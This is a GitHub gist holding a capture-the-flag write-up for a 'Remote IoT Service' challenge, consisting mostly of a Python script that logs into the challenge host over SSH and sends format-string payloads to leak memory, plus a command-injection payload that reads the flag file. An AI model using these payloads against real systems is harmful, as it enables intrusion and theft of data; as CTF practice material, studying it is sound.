Skip to content

Instantly share code, notes, and snippets.

@c3l3si4n
Last active August 9, 2020 00:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save c3l3si4n/3acf40442298098bd5519045a59c3e5b to your computer and use it in GitHub Desktop.
Save c3l3si4n/3acf40442298098bd5519045a59c3e5b to your computer and use it in GitHub Desktop.
Remote IoT Service @ SpiderLabsCTF 2020 writeup
"""
First part: Leaking password
"""
import paramiko
from time import sleep
import sys
from pwn import p64
def test_password(password):
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('spiderlabsctf.com', username='console', password='console', port=3232)
buff = b""
s = ssh.invoke_shell()
s.settimeout(5.0)
s.send(f'{password}\n'.encode())
empty_counter = 0
while not buff.endswith(b'valid password\r\n'):
resp = s.recv(8)
if resp == '':
empty_counter += 1
if empty_counter > 50:
return b'.'
buff += resp
return buff
except Exception:
raise
def leak_offset(index, string=False, pointer=False):
payload = ""
if string:
payload = "%" + str(index) + "$s"
else:
payload = "AB"+ "%" + str(index) + "$p"
while True:
try:
leak = test_password(payload)
break
except Exception :
pass
leak = leak.split(b"\r\n")[-2]
leak = leak.split(b" ")[0]
leak = leak[2:]
if leak.startswith(b"0x"):
leak = p64(int(leak, 16))
# leak = bytes.fromhex(leak.decode())
return leak
base = ""
for offset in range(0,1000000):
leak = leak_offset(offset)
sys.stdout.write(leak)
sys.stdout.flush()
"""
For the second part this payload can be used to get the flag.
ls&&cat<FLAG.txt
"""
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment